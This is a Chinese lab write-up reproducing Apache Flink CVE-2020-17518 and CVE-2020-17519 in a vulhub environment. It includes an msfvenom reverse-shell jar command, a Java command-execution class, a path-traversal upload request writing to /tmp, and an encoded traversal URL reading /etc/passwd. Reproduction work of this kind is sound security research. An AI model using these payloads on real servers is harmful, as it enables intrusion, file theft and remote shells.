漏洞描述
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。
CVE-2020-17518
通过构造恶意的HTTP Header
,可实现远程文件写入
CVE-2020-17519
攻击者可通过REST API
使用../
跳目录实现系统任意文件读取
影响版本
CVE-2020-17518
Apache Flink 1.5.1 ~ 1.11.2
CVE-2020-17519
Apache Flink 1.11.0、1.11.1、1.11.2
FOFA
app=”Apache-Flink”
安装环境
直接vulhub
拉取,启动环境
漏洞复现
准备jar包
可直接使用msf
生成jar
包然后上传,开启监听后反弹shell
1
| msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=8888 -f jar > exp.jar
|
从CVE-2020-17518到一键Getshell
我们这里直接拿来表哥的源码进行打包,后续可直接getshell
,但目前执行命令存在问题,等随后编写相关脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.File; import java.util.Scanner;
public class Execute { public Execute() { }
public static void main(String[] args) throws Exception { String o = ""; String cmd = args[0]; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { String pty = "/bin/sh"; if ((new File("/bin/bash")).exists()) { pty = "/bin/bash"; } p = new ProcessBuilder(new String[]{pty, "-c", cmd}); }
Process s = p.start(); Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A"); c.close(); } }
|
将jar
包命名为Execute.java
,编译该文件
javac Execute.java
将编译后的Execute.class
文件打包成jar
包
jar -cvf exp.jar Execute.class
c表示要创建一个新的jar包
v表示创建的过程中在控制台输出创建过程的一些信息
f表示给生成的jar包命名
CVE-2020-17518
找到上传点,点击Add new
抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /jars/upload HTTP/1.1 Host: 192.168.88.130:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36/8mqQhSuL-09 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------85199222835071541373907992931 Content-Length: 262 Origin: http://192.168.88.130:8081 Connection: close Referer: http://192.168.88.130:8081/
-----------------------------85199222835071541373907992931 Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/test" Content-Type: application/octet-stream
success -----------------------------85199222835071541373907992931--
|
虽然报错为400,但我们还是将文件上传到了指定目录下,进入docker
查看
1 2 3
| docker ps docker exec -it "docker ID" /bin/bash cd /tmp
|
CVE-2020-17519
1
| /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
|
可直接读文件
尝试读取我们前面上传的/tmp/test
文件
引用